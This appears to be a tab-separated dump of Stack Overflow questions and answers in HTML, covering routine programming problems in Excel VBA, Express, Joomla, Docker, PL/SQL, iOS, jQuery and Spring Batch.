<p>iPhone Normal iPhone Retina</p>
26132204	0	 <p>Back to my initial file, I managed to do some progress. Please find my file here: <a href="http://cjoint.com/14oc/DJbb2yqJ5XQ.htm" rel="nofollow">http://cjoint.com/14oc/DJbb2yqJ5XQ.htm</a></p> <p>I managed to be able to apply the PivotItem.Visible property on "(blank)" by adding this to the code:</p> <pre><code>mytable.ManualUpdate = True Dim pf As PivotField Set pf = ActiveSheet.PivotTables(1).PivotFields("date closed") pf.AutoSort xlManual, pf.SourceName </code></pre> <p>Now when it comes to compare the other dates with the max date, it does not work and I think it is because it compares a dd/mm/yyyy with a mm/dd/yyyy (I am not sure but please look at the printscreen): <a href="http://i62.tinypic.com/wv7o9l.jpg" rel="nofollow">http://i62.tinypic.com/wv7o9l.jpg</a></p> <p>Any help ? Thanks !</p> <p>Tweedi </p>
31026117	0	Fails to look up view in Express <p>This is the structure of my project. </p> <p>app <br> &nbsp; -controllers <br> &nbsp; &nbsp; &nbsp; index.server.controller.js <br> &nbsp; -models <br> &nbsp; -routes <br> &nbsp;&nbsp;&nbsp;&nbsp; index.server.routes.js <br> &nbsp;-views <br> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;index.ejs <br> config <br> &nbsp; -express.js <br></p> <p>I set the view directory in my express.js file:</p> <pre><code>app.set('views', '../app/views'); app.set('view engine', 'ejs'); </code></pre> <p>And this is in my controller file:</p> <pre><code>exports.render = function(req,res) { res.render('index' , { title: 'welcome to this page' }) }; </code></pre> <p>Whenever i open localhost i get </p> <p>Error: Failed to lookup view "index" in views directory "../app/views/"</p>
36823379	0	Why is core.js not loaded in Joomla 3? <p>I am migrating my own Joomla component from Joomla 2.5 to Joomla 3. Some of the buttons use javascript <code>Joomla.submitform()</code>, which was defined in \media\system\js\core.js, but somehow this file is not loaded any more now...</p> <p>I could simply add <code>JFactory::getDocument()-&gt;addScript( JURI::root().'media/system/js/core.js' )</code> to my component's code, but that seems the quick and dirty way to me.</p> <p>Could someone tell me what the nice and clean way is? Help is very much appreciated!</p>
29653579	0	 <p>I think by XPath should work to get all items in a List object:</p> <pre><code>List&lt;WebElement&gt; parameters = driver.findElements( By.xpath(".//[local-name()='OBJECT']/[local-name()='PARAM']") ); </code></pre> <p>=== UPDATE ===</p> <blockquote> <p>Try using a CSS locator instead... it will probably be more reliable on IE8... or better yet: use a JavascriptExecutor and get the element using pure Javascript.</p> </blockquote>
760329	0	Reimplementing the "ToneMatrix" audio toy <p>There is a really cool audio "toy" called <a href="http://lab.andre-michelle.com/tonematrix" rel="nofollow noreferrer">ToneMatrix</a>. I would like to reimplement it as a Java applet. I've tried using <a href="http://www.jfugue.org/" rel="nofollow noreferrer">JFugue</a>'s <code>player.play</code> with individual notes for sound and <code>Thread.sleep</code> for timing, but the results are horrible.</p> <p>JFugue stops responding after the 17th (yes, really, I counted) invocation of <code>player.play</code> and <code>Thread.sleep</code> is too irregular to deliver a good rhythm.</p> <p>What would you recommend instead? Basically, I'm looking for a simple way to generate single notes of sound on the fly. So a fraction of a second before the sound is due to play, I need to be able to look at the data and tell the audio library what notes to play. (Multiple notes in harmony are likely.)</p>
9344600	0	 <p>Does your app have the permission <a href="http://developer.android.com/reference/android/Manifest.permission.html#WRITE_EXTERNAL_STORAGE" rel="nofollow"><code>WRITE_EXTERNAL_STORAGE</code></a> specified in your manifest?</p>
23395550	0	 <p>Without looking at any source code, I would guess that one way would be to convert a character to its' respective ASCII value, subtract 32 from it and convert the ASCII value back to a char.</p> <p><img src="https://i.stack.imgur.com/x1xKm.png" alt="enter image description here"></p>
6060971	0	prevent json_encode adding escape characters <p>Is there a solution to prevent json_encode adding escape characters? I am returning a json obj from an ajax request.</p> <p>Here is what I currently have:</p> <pre><code>foreach ($files as $file) { $inf = getimagesize( $file ); $farr[] = array ( "imgurl" =&gt; "/".str_replace( "\\" , "/" , str_replace( DOCROOT , "" , $file ) ) , "width" =&gt; $inf[0] , "height" =&gt; $inf[1] ); } $t = json_encode( $farr ); </code></pre> <p>which delivers:</p> <pre><code>[ {\"imgurl\":\"\\\/_assets\\\/portfolio\\\/96\\\/full.png\",\"width\":580,\"height\":384}, {\"imgurl\":\"\\\/_assets\\\/portfolio\\\/95\\\/full.png\",\"width\":580,\"height\":452}, {\"imgurl\":\"\\\/_assets\\\/portfolio\\\/94\\\/full.png\",\"width\":580,\"height\":384} ] </code></pre> <p>but I need:</p> <pre><code>[ {imgurl:"/_assets/portfolio/96/full.png",width:580,height:384}, {imgurl:"/_assets/portfolio/95/full.png",width:580,height:452}, {imgurl:"/_assets/portfolio/94/full.png",width:580,height:384} ] </code></pre> <p>having the imgurl width and height indexes quoted is causing the rest of my javascript to break</p> <p>not having much luck so any tips very much welcome...</p>
8497161	0	 <p>There are a whole lot of naming conventions advocated by Microsoft for .Net programming. You can read about these <a href="http://msdn.microsoft.com/en-us/library/ms229002.aspx">here</a>.</p> <p>As a rule of thumb, use PascalCase for public property, method and type name.</p> <p>For parameters and local variables, use camelCase.</p> <p>For private fields, choose one: some use camelCase, other prefix _camelCase with an _.</p> <p>A commonly seen convention is also to name constants with ALLCAPS.</p>
8040026	0	 <p>I figured it out. I had to change this line in <code>drawRect:</code>:</p> <pre><code>otherPoint.x += dirtyRect.size.width; </code></pre> <p>to</p> <pre><code>otherPoint.x += (stringWidth + 20.0); </code></pre> <p>EDIT: You can change <code>20.0</code> depending on how much of a gap you want before the string repeats.</p>
40143772	0	docker - build fails when COPYing file to root <p>I'm getting a docker build error when I try to add a shell script to the root directory (/entrypoint.sh)</p> <p>Dockerfile:</p> <pre><code>FROM ubuntu:trusty COPY ./entrypoint.sh / ENTRYPOINT ["/entrypoint.sh"] </code></pre> <p>Output:</p> <pre><code>Sending build context to Docker daemon 3.072 kB Step 1 : FROM ubuntu:trusty ---&gt; 1e0c3dd64ccd Step 2 : COPY ./entrypoint.sh / stat /var/lib/docker/aufs/mnt/5570570a77deddea426b95bd0f706beff4b5195a2fba4a8f70dcac4671bca225/entrypoint.sh: no such file or directory </code></pre> <p>The file is present at the root of the build context, and when I change / to a subdirectory such as /opt/, it works. Any idea what could be going wrong?</p>
39190392	0	 <p>There are libraries for testing like those in the <a href="https://docs.python.org/3/library/development.html" rel="nofollow">development-section</a> of the standard library. If you did not use such tools yet, you should start to do so - they help a lot with testing. (especially <code>unittest</code>).</p> <p>Normally Python runs programs in debug mode with <a href="https://docs.python.org/3/library/constants.html#__debug__" rel="nofollow"><code>__debug__</code></a> set to <code>True</code> (see <a href="https://docs.python.org/3/reference/simple_stmts.html#assert" rel="nofollow">docs on <code>assert</code></a>) - you can switch off debug mode by setting the command-line switches <code>-O</code> or <code>-OO</code> for optimization (see <a href="https://docs.python.org/3/using/cmdline.html#cmdoption-O" rel="nofollow">docs</a>).</p> <p>There is something about using specifically assertions in the <a href="https://wiki.python.org/moin/UsingAssertionsEffectively" rel="nofollow">Python Wiki</a></p>
26547142	0	SQL not properly ended? <p>I know i don't have to use SQL but i have other code between declare begin and end . I just extracted this part and everything works except this . I get the following error:</p> <pre><code>Error report: ORA-06550: line 5, column 5: PL/SQL: ORA-00933: SQL command not properly ended ORA-06550: line 3, column 5: PL/SQL: SQL Statement ignored 06550. 00000 - "line %s, column %s:\n%s" *Cause: Usually a PL/SQL compilation error. *Action: </code></pre> <p>This is the code:</p> <pre><code>DECLARE BEGIN UPDATE octombrie SET nr_imprumut = I.nr from (select book_date bd,count(book_date) nr from rental where to_char(book_date,'mm') like '10' group by book_date) I where data = I.bd; END; / </code></pre> <p>I don't get it what did i do wrong ?</p> <p>EDIT: book_date will give me a day from the month of october. In that day multiple books are rented, so i find out how many books i rented by counting the number of times the same date apears (the rented books are in the rental table). I then take this data and Update October table(i put the number of books aka 'nr' where the date in the october table matches the date in which the books where rented);</p>
38596953	0	IOS Swift- UITbar setting custom tabbar height leaves empty Space above it <p>I would like to know if there is a way to remove the empty space above the tab bar. I using below code in the custom class of UITabBarController. </p> <pre><code>override func viewWillLayoutSubviews() { super.viewWillLayoutSubviews() var tabFrame = self.tabBar.frame tabFrame.size.height = 50 tabFrame.origin.y = self.view.frame.size.height - 40 self.tabBar.frame = tabFrame } </code></pre> <p>The resulting image looks like this. There is black empty space above the tab bar. Kindly let me know if i can remove the empty space. Thank you</p> <p><a href="https://i.stack.imgur.com/2PCkR.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/2PCkR.png" alt="enter image description here"></a></p>
16033257	0	Check remote file existence on multiple Windows servers <p>I need to check a file status (existing? or last modified date) on multiple remote Windows servers (in LAN). The files are accessible via UNC path. The remote PCs need a user name and password. It's best to be some sort of script. </p> <p>I am not system admin, but asked to do this by my boss because each of these PCs are host of SQL Server and the file is a backup of database. I am a SQL Server database developer. I was trying to do it using T-SQL, but just found it not geared to do this (although maybe doable).</p>
1695409	0	 <p>Make your imageview as big as the image, and put it inside a scrollview. Hide the scrollers if you want. No need for subclassing in this case.</p>
6730209	0	 <p>You have to read <a href="http://docs.mono-android.net/Android.App.Activity.OnActivityResult%20%28int,%20Android.App.Result,%20Android.Content.Intent%29" rel="nofollow">data</a> parameter of <code>onActivityResult()</code>, in which you can get _id, displayName etc.. </p> <p>Try this code</p> <pre><code>protected void onActivityResult(int requestCode, int resultCode, Intent data) { if (requestCode == ADD_NEW_CONTACT) { if(resultCode == -1) { Uri contactData = data.getData(); Cursor cursor = managedQuery(contactData, null, null, null, null); if (cursor.moveToFirst()) { long newId = cursor.getLong(cursor.getColumnIndexOrThrow(Contacts._ID)); String name = cursor.getString(cursor.getColumnIndexOrThrow(Contacts.DISPLAY_NAME)); Log.i("New contact Added", "ID of newly added contact is : " + newId + " Name is : " + name); } Log.i("New contact Added : ", "Addedd new contact, Need to refress item list : DATA = " + data.toString()); } else { Log.i("New contact Added : ", "Canceled to adding new contacts : Not need to update database"); } } } </code></pre> <p>Happy coding.</p>
19910684	0	 <p>Assuming "couldn't get it to work" means you didn't know how to loop the six PictureBox controls, try putting them into an array:</p> <pre><code>For Each pb As PictureBox In New PictureBox() {steen1, steen2, steen3, steen4, steen5, steen6} Select Case RandomNumber.Next(1, 7) Case 1 : pb.Image = Game.My.Resources.Een Case 2 : pb.Image = Game.My.Resources.Twee Case 3 : pb.Image = Game.My.Resources.Drie Case 4 : pb.Image = Game.My.Resources.Vier Case 5 : pb.Image = Game.My.Resources.Vijf Case 6 : pb.Image = Game.My.Resources.Zes End Select Next </code></pre> <p>This assumes you have six PictureBoxes named steen#, etc.</p> <p>Also note that I changed your Random range to 1 - 7. The max is one less, so in your code, you were never getting a number 6 for an image.</p>
18009578	0	 <p>You can simply use <code>NSURLCredential</code>, it will save both username and password in the keychain.</p> <p>See my detailed answered on <a href="http://stackoverflow.com/a/17997943/249869">http://stackoverflow.com/a/17997943/249869</a>.</p>
9278749	0	 <p>I assume that the box opens right as from the link you provided. You can add another class for the box to open left (say boxleft)</p> <pre><code>$('.content_area div').hide(); initwidth = $('.boxleft').width(); initHeight = $('.boxleft').height(); $(function() { $('.boxleft').bind('mouseenter', function() { $(this).children('.more').show(); $('.boxleft').not(this).stop(true, true).fadeTo('normal', 0.2); $(this).stop(true, true).animate({ width: '70', height: '70', left: '-=50' }, { queue: true, duration: 'fast' }).css('font-size', '1.2em'); }); $('.boxleft').bind('mouseleave', function() { $(this).children('.more').hide(); $('.boxleft').not(this).stop(true, true).fadeTo('normal', 1); $(this).stop(true, true).animate({ width: initwidth, height: initHeight, left: '+=50' }, { queue: true, duration: 'slow' }).css('font-size', '1em'); }); </code></pre> <p>As you can see i added the extra line left: '-=50' and left: '+=50' in the animate function.</p>
2852961	0	 <p>It's identical to commenting out the block, except with one important difference: Nesting is not a problem. Consider this code:</p> <pre><code>foo(); bar(x, y); /* x must not be NULL */ baz(); </code></pre> <p>If I want to comment it out, I might try:</p> <pre><code>/* foo(); bar(x, y); /* x must not be NULL */ baz(); */ </code></pre> <p>Bzzt. Syntax error! Why? Because block comments do not nest, and so (as you can see from SO's syntax highlighting) the <code>*/</code> after the word "NULL" terminates the comment, making the <code>baz</code> call not commented out, and the <code>*/</code> after <code>baz</code> a syntax error. On the other hand:</p> <pre><code>#if 0 foo(); bar(x, y); /* x must not be NULL */ baz(); #endif </code></pre> <p>Works to comment out the entire thing. And the <code>#if 0</code>s will nest with each other, like so:</p> <pre><code>#if 0 pre_foo(); #if 0 foo(); bar(x, y); /* x must not be NULL */ baz(); #endif quux(); #endif </code></pre> <p>Although of course this can get a bit confusing and become a maintenance headache if not commented properly.</p>
28602783	0	ASP.NET mvc validation label on dropdownlist with integer value? <p>I'm working on an ASP.NET MVC 4 project and I have an issue with displaying the right validation label for an integer field. </p> <p>Here is my model properties:</p> <pre><code>[Required(ErrorMessage = "Please enter the title.")] public string Title { get; set; } [Required(ErrorMessage = "Please select a country.")] public int RegionId { get; set; } </code></pre> <p>Here is my cshtml:</p> <pre><code>@Html.TextBoxFor(m =&gt; m.article.Title, new { @placeholder = "Title", @autofocus = true }) @Html.ValidationMessageFor(m =&gt; m.article.Title) @(Html.Kendo().DropDownList() .Name("RegionControl") .DataTextField("Name") .DataValueField("RegionId") .OptionLabel("Select one...") .Events(e =&gt; e.Change("RegionChange").DataBound("RegionDataBound")) .BindTo(Model.regions) .Value(Model.article.RegionId.ToString()) @Html.ValidationMessageFor(m =&gt; m.article.RegionId) </code></pre> <p>My problem is that the validation message for Title is displaying fine <code>("Please enter the title.")</code>, BUT the validation for the dropdownlist is the default one <code>("The value 'NaN' is not valid for RegionId.")</code>.</p> <p>Why is the validation message for RegionId not displaying the message I set in the model <code>("Please select a country.")</code>? Is it due to the default value <code>(OptionLabel)</code>? How can I fix it?</p>
4543948	1	Python: type() gives blank result <p>What does it mean when I do</p> <pre><code>print type(foo) </code></pre> <p>and get absolutely nothing?</p> <p>foo is the response from an eBay REST search query, and it's supposed to be XML according to the eBay docs. When I</p> <pre><code>print foo </code></pre> <p>I get stuff -- a long string of values about ebay items all butted-up against one another.</p>
29695953	0	 <p>Change:</p> <pre><code>from osv import fields, osv </code></pre> <p>to:</p> <pre><code>from openerp.osv import fields, osv </code></pre> <p>That should do it! :]</p>
35264429	0	 <p>I was given a task to invoke the batch job one by one.Each job depends on another. First job result needs to execute the consequent job program. I was searching how to pass the data after job execution. I found that this ExecutionContextPromotionListener comes in handy.</p> <p>1) I have added a bean for "ExecutionContextPromotionListener" like below</p> <pre><code>@Bean public ExecutionContextPromotionListener promotionListener() { ExecutionContextPromotionListener listener = new ExecutionContextPromotionListener(); listener.setKeys( new String[] { "entityRef" } ); return listener; } </code></pre> <p>2) Then I attached one of the listener to my Steps</p> <pre><code>Step step = builder.faultTolerant() .skipPolicy( policy ) .listener( writer ) .listener( promotionListener() ) .listener( skiplistener ) .stream( skiplistener ) .build(); </code></pre> <p>3) I have added stepExecution as a reference in my Writer step implementation and populated in the Beforestep </p> <pre><code>@BeforeStep public void saveStepExecution( StepExecution stepExecution ) { this.stepExecution = stepExecution; } </code></pre> <p>4) in the end of my writer step, i populated the values in the stepexecution as the keys like below</p> <pre><code>lStepContext.put( "entityRef", lMap ); </code></pre> <p>5) After the job execution, I retrieved the values from the <code>lExecution.getExecutionContext()</code> and populated as job response.</p> <p>6) from the job response object, I will get the values and populate the required values in the rest of the jobs.</p> <p>The above code is for promoting the data from the steps to ExecutionContext using ExecutionContextPromotionListener. It can done for in any steps.</p>
4033061	0	 <p>The problem is that a <code>RewriteCond</code> only applies to the rule immediately following it, so your second <code>RewriteRule</code> is always run. One solution <a href="http://my.galagzee.com/2009/02/11/mod_rewrite-one-rewritecond-to-many-rewriterules/" rel="nofollow">is to negate the test you are making, then have the next command skip the two commands you want to run</a>.</p> <pre><code>RewriteCond %{DOCUMENT_ROOT}assets/img$1/.$2.$4/$3.$4 !-f RewriteRule . - [S=2] RewriteRule ^assets/img(.*)/([a-zA-Z0-9-_\.]*)\.([^/]+)\.([a-z]{2,4})$ assets/img$1/.$2.$4/$3.$4 [NC,QSA] RewriteRule ^assets/img(.*)/([a-zA-Z0-9-_\.]*)\.([^/]+)\.([a-z]{2,4})$ assets/img/image.php?path=$1&amp;file=$2.$4&amp;key=$3 [NC,L,QSA] </code></pre>
26117059	0	 <p>Here's a unicode aware implementation as a category on <code>NSString</code>:</p> <pre><code>@interface NSString (NRStringFormatting) - (NSString *)stringByFormattingAsCreditCardNumber; @end @implementation NSString (NRStringFormatting) - (NSString *)stringByFormattingAsCreditCardNumber { NSMutableString *result = [NSMutableString string]; __block NSInteger count = -1; [self enumerateSubstringsInRange:(NSRange){0, [self length]} options:NSStringEnumerationByComposedCharacterSequences usingBlock:^(NSString *substring, NSRange substringRange, NSRange enclosingRange, BOOL *stop) { if ([substring rangeOfCharacterFromSet:[NSCharacterSet whitespaceCharacterSet]].location != NSNotFound) return; count += 1; if (count == 4) { [result appendString:@" "]; count = 0; } [result appendString:substring]; }]; return result; } @end </code></pre> <p>Try it with this test string:</p> <pre><code>NSString *string = @"ab 132487 387 e e e "; NSLog(@"%@", [string stringByFormattingAsCreditCardNumber]); </code></pre> <p>The method works with non-BMP characters (i.e. emoji) and handles existing white space.</p>
21578803	0	 <p>I have now managed to get it working. I have had to set the prefix for the plugins models to "media_" and then have the class names as "Media.Item" and call "$this->Item->find()" to get the containable behaviour to work.</p>
25609357	0	windows ce application can't connect to sql azure <p>when a try to connect to sql azure database from windows ce application show "sql server requires encryption on" </p> <p>i try adding device ip to sql azure firewall and i had used "encrypt=true" in connection string but not works, shows "unknown connection option in connection string encrypt"</p> <p>i suspect that is necessary an ssl connection but i don't know how make it</p> <p>when i try to make a desktop test it work perfectly</p> <p>im using -visual studio 2008 - windows ce 05 - sql azure</p> <p>many thanks</p> <p>Alejandro</p>
3901838	0	 <p>Usually, attaching a debugger would not slow down an application too much (compared to starting the application from the debugger, which will set the heap in debug mode).</p> <p>But by default, the debugger will trace events (exceptions and OutputDebugString), and in your case, there may be too much of them. After attaching with the debugger, you can disable all exception handling. (Menu Debug/Event Filters, or command sxi). You have to change the handling for all events (<code>sxi *</code> means unknown events, and does not apply to all events). You can also disable all tracing with <code>.outmask-0xFFFFFFFF</code>. Then enable only the stack overflow event with <code>sxe -c ".outmask /d" sov</code></p>
13494953	0	 <p>The reason for the result you see is the comparison operator you use. == is too imprecise sometimes and can result in wierd things like this. Using the === will compare the values for exactness and will prevent the issue you have.</p> <p>so: </p> <pre><code>foreach ($arr as $k=&gt;$v) { // this is the important thing if ($k === "thispage") { echo $k." "; } else { echo '&lt;a href="'.$v.'"&gt;'.$k.'&lt;/a&gt; '; } } </code></pre>
22377361	0	 <p>If you are binding your DataGridView through code that is, using <code>DataSource</code> property you can clear DataGridView using the following code.</p> <p><code>dataGridView1.DataSource=null;</code></p> <p>It will not delete data from your database,just clear your DataGridView.</p>
21995652	0	 <p>This happens to me sometimes. In the Debug Perspective there is a breakpoints tab. Even if breakpoints have become invisible in the editor, they are probable visible in that list. So you can safely remove the breakpoints that you want to get rid off.</p>
10518402	0	Validation with exceptions vs IDataErrorInfo and the new INotifyDataErrorInfo <p>I'm trying out different ways of validating and I'm having a problem with the new INotifyDataErrorInfo-interface.</p> <p>When writing in for instance a bound textbox that only accepts 10 chars. I write 11 chars and tab out. The validation kicks in and marks the textbox red etc. Now, I don't want to write this invalid value down to the source of this binding, but if I'm not doing this I immediately get the value in the textbox reset to the last valid value. It's as if the binding does an UpdateTarget on it's binding even though there was an error.</p> <p>By using ValidatesOnExceptions and throwing exception in the setter I get the behaviour I'm after. The binding is not updating it's value from the source if an exceptions has been thrown in the setter. This leaves the invalid value in the textbox so that I can work with it to make it valid. I think this is far better than having to store the invalid value in the underlying object.</p> <p>The question is why IDataErrorInfo and the new INotifyDataErrorInfo behaves in this way that it updates target from source even though there were errors? Can I make it to behave more like ValidatesOnExceptions?</p> <p>I need INotifyDataErrorInfo because of other features such as async validation...</p>
37251354	0	 <p>You can do it easily with custom directory of your Models Folder (I assume Models Folder is sub folder of App). Just use this command <code>php artisan make:model Models/core</code> then you will get your desire result.<br> Thanks.</p>
4945275	0	 <p>Something like this?</p> <pre><code>select a.col1, a.col2, a.col3, b.colC from ( select row_number() over (partition by col1, col2 order by 1) r, col1, col2 from table1 ) a, ( select row_number() over (partition by col1, col2 order by 1) r, col1, col2 from table2 ) b where a.r = b.r and a.col1 = b.col1 and a.col2 = b.col2; </code></pre>
32522176	0	No Scroll bar appears when I run my site through a browser with my slide out menu position set to fixed <p>I have just started coding websites. I just recently started a website for a friend and though it would be cool to have a slide out menu that slide out from the top rather than the left or right of the page. However having done so and got it to work and all then having added some other content to the page have found that I am unable to get a scroll bar when processed through a browser. I have tried in the body tag, "overflow;scroll" which did not work and I have tried adding a div with the height of 3000px</p> <p>Pls if anyone can help that will be great I will attach all my css and html (take note there is some jQuery and java)</p> <p>Thanks</p> <p>HTML &amp; Java</p> <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset="utf-8"&gt; &lt;title&gt;Josh Site&lt;/title&gt; &lt;link rel="stylesheet" type="text/css" href="../CSS/index.css"&gt; &lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.4/jquery.min.js"&gt;&lt;/script&gt; &lt;script src="../jQuery/jquery.cycle2.min.js"&gt;&lt;/script&gt; &lt;script src="../jQuery/jquery.cycle2.video.js"&gt;&lt;/script&gt; &lt;script src="../jQuery/jquery.cycle2.carousel.min.js"&gt;&lt;/script&gt; &lt;meta name="viewport" content="width=device-width, initial-scale=1"&gt; &lt;/head&gt; &lt;!--Skeleton for Slide out Menu--&gt; &lt;body class="menu menu-open"&gt; &lt;header&gt; &lt;nav class="menu-side"&gt; &lt;!--Content for Menu Side--&gt; &lt;ul&gt; &lt;li&gt;&lt;a href="#"&gt;&lt;/a&gt;Item 1&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;&lt;/a&gt;Item 2&lt;/li&gt; &lt;li id="logo"&gt;&lt;img src="../../Assets/Josh-Logo.png" alt="Josh Meyers"&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;&lt;/a&gt;Item 3&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;&lt;/a&gt;Item 4&lt;/li&gt; &lt;/ul&gt; &lt;!--End of Content for Menu Side--&gt; &lt;/nav&gt; &lt;/header&gt; &lt;!--End of Skeleton for Slide out Menu--&gt; &lt;!--Button to Toggle "Menu Side"--&gt; &lt;a href="#" class="menu-toggle"&gt;&lt;img src="../../Assets/top-menu-icon.png" width="50px" height="50px" alt=""/&gt;&lt;/a&gt; &lt;!--End of Button to Toggle "Menu Side"--&gt; &lt;!--Josh Meyers about and Title--&gt; &lt;div id="Josh-Meyers"&gt; &lt;h1&gt;Josh Meyers&lt;/h1&gt; &lt;p&gt;Photography is the science, art and practice of creating durable images by recording light or other electromagnetic radiation, either electronically by means of an image sensor, or chemically by means of a light-sensitive material such as photographic film.[1] Typically, a lens is used to focus the light reflected or emitted from objects into a real image on the light-sensitive surface inside a camera during a timed exposure. With an electronic image sensor, this produces an electrical charge at each pixel, which is electronically processed and stored in a digital image file for subsequent display or processing. The result with photographic emulsion is an invisible latent image, which is later chemically "developed" into a visible image, either negative or positive depending on the purpose of the photographic material and the method of processing. A negative image on film is traditionally used to photographically create a positive image on a paper base, known as a print, either by using an enlarger or by contact printing. &lt;/p&gt; &lt;/div&gt; &lt;!--Responsive Video Slider and Title--&gt; &lt;div id="Recent-Projects"&gt; &lt;h1&gt;Recent Projects&lt;/h1&gt; &lt;/div&gt; &lt;div id="video-wrapper"&gt; &lt;span class="cycle-prev"&gt;&amp;#9001&lt;/span&gt; &lt;span class="cycle-next"&gt;&amp;#9002&lt;/span&gt; &lt;div class="cycle-slideshow" data-cycle-carousel-visible="3" data-cycle-fx="carousel" data-cycle-timeout="0" data-cycle-auto-height="640:360" data-cycle-prev=".cycle-prev" data-cycle-next=".cycle-next" data-cycle-slides="&gt;iframe" data-cycle-youtube="true" data-cycle-youtube-autostart="true" data-cycle-pager=".cycle-pager" data-cycle-carousel-fluid="true" &gt; &lt;iframe width="560" height="315" src="https://www.youtube.com/embed/7TccWhZ6T8c?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt; &lt;iframe width="560" height="315" src="https://www.youtube.com/embed/VPuKbzP2KNM?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt; &lt;iframe width="560" height="315" src="https://www.youtube.com/embed/DHW0hQHLpTc?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt; &lt;/div&gt; &lt;div class="cycle-pager"&gt;&lt;/div&gt; &lt;/div&gt; &lt;!--End Responsive Video Slider and Title--&gt; &lt;script&gt; (function() { var body = $('body'); $('.menu-toggle').bind('click', function() { body.toggleClass('menu-open', 'toggle-open'); return false; }); })(); &lt;/script&gt; </code></pre> <p></p> <p> </p> <p>CSS</p> <pre><code>body { background-color:black; overflow:scroll; } /*Design for Slide Down menu*/ .menu { overflow:hidden; position:relative; top:0px; -webkit-transition: top 0.8s ease; -moz-transition: top 0.8s ease; transition: top 0.8s ease; } .menu-open { top:231px; } .menu-open .menu-side { top:0px; } .menu-side { background-color:#333; border-bottom:1px solid #000; color:#fff; position:fixed; top:-231px; left:0px; width: 100%; max-width:100%; height: 210px; padding: 10px; -webkit-transition: top 0.8s ease; -moz-transition: top 0.8s ease; transition: top 0.8s ease; } .menu-toggle { position:relative; display:block; width:50px; height:50px; margin-left:auto; margin-right:auto; top:-23.5px; } /*Content style for Menu Side*/ .menu-side ul { width:800px; max-width:100%; height:100px; display:block; text-align:center; margin-left:auto; margin-right:auto; border-style:solid; border-color:white; border-width:thick; -moz-box-shadow:20px 20px 20px 10px black; -webkit-box-shadow:10px 10px 10px 10px 10px black; box-shadow:1px 1px 20px 0.5px black; } .menu-side li { margin-top:auto; margin-bottom:auto; padding:10px; display:inline-block; text-align:center; font-family:Baskerville, "Palatino Linotype", Palatino, "Century Schoolbook L", "Times New Roman", serif; font-size:18px; font-style:italic; } /*Style for Josh Meyers About*/ #Josh-Meyers h1 { text-align:center; color:#FFF; } #Josh-Meyers p { color:#FFF; } /*Style for Video Slide Show and Title*/ #Recent-Projects { text-align:center; height:40px; width:100%; max-width:100%; } #Recent-Projects h1 { text-align:center; color:#FFF; } iframe {max-width:100%} #video-wrapper { width:100%; max-width:100%; height:400px; margin-top:5px; } .cycle-slideshow { width:100%; top:2%; margin-left:auto; max-width:90%; margin-right:auto; } .cycle-prev, .cycle-next { font-size:40px; font-weight:bold; color:#FFF; display:block; position:absolute; top:60%; z-index:999; cursor:pointer; } .cycle-prev {left:2%;} .cycle-next {right:2%;} .cycle-pager { text-align: center; width: 100%; z-index: 999; position: absolute; overflow: hidden; top:85% } .cycle-pager span { font-family: arial; font-size: 50px; width: 16px; height: 16px; display: inline-block; color: #ddd; cursor: pointer; } .cycle-pager span.cycle-pager-active { color: #D69746;} .cycle-pager &gt; * { cursor: pointer;} iframe { padding-left:5px; padding-right:5px; } </code></pre>
6756061	0	Yet another EXC_BAD_ACCESS - However with zombie (instruments), never exe_bad_access <p>I have spent hours on this and read everybit on the web about memory management, zombies. leaks (tried instruments). But I cannot figure this one out. Does someone has a clue? I am getting a EXC_BAD_ACCESS at the following like of code on popping the ChildViewController.</p> <pre><code>[profileVO release]; profileVO = nil; </code></pre> <p>I strongly feel I have followed all memory management best practices!</p> <p><strong>Details:</strong></p> <p>I have a model file. (CachedProfileVO)</p> <p><strong>CachedProfileVO.h</strong></p> <pre><code>@interface CachedProfileVO : NSObject { NSString *name; NSString *email; } @property (nonatomic, retain) NSString *name; @property (nonatomic, retain) NSString *email; @end </code></pre> <p><strong>CachedProfileVO.m</strong></p> <pre><code>@synthesize name, email; - (void) dealloc { [super dealloc]; [name release]; name= nil; [email release]; email = nil; } </code></pre> <p>Now I have a UINavigationController. The ParentViewController and the ChildViewController. I invoke the ChildViewController as follows:</p> <pre><code>[self.navigationCntroller pushViewcontroller:childViewcontroller animated:YES]; </code></pre> <p>In the ChildViewController, I basically use the model CachedProfileVO. However when this view controller is popped (back button on UI), it gives a EXC_BAD_ACCESS</p> <p><strong>ChildViewController.h</strong></p> <pre><code>@interface ChildViewcontroller : UITableViewController { CachedProfileVO *profileVO; } @property (nonatomic, retain) CachedProfileVO *profileVO; @end </code></pre> <p><strong>ChildViewController.m</strong></p> <pre><code>@synthesize profileVO; - (void) dealloc { [super dealloc]; [profileVO release]; profileVO = nil; ****** GETTING EXE_BAD_ACCESS here } - (void) viewDidLoad { CachedProfileVO *vo = [CachedProfileVO alloc] init]; self.profileVO = vo; [vo release]; } //responseString looks like this: [Murdoch, murdoch@email.com][other data][more data] - (void) populateProfile:(NSString *) responseString { NSMutableString *str = [[NSMutableString alloc] initWithCapacity:20]; [str setString:responseString]; [str deleteCharactersInRange: NSMakeRange(0,1)]; [str deleteCharactersInRange: NSMakeRange([str length]-1,1)]; NSArray *tempArray = [str componentsSeparatedByString: @"]["]; NSString *tempStr = (NSString*)[tempArray objectAtIndex:0]; NSArray *bioArray = [tempStr componentsSeparatedByString:@","]; self.profileVO.name = (NSString*)[bioArray objectAtIndex:0]; self.profileVO.email= (NSString*)[bioArray objectAtIndex:1]; [str release]; str = nil; } </code></pre> <p>Note that the function populateProfile is called after some event. I know it is called. And dealloc then causes the problem. Also this does not happen in every pop. I have to try several times to reproduce. It is never reproduced using zombies in instruments!!!</p>
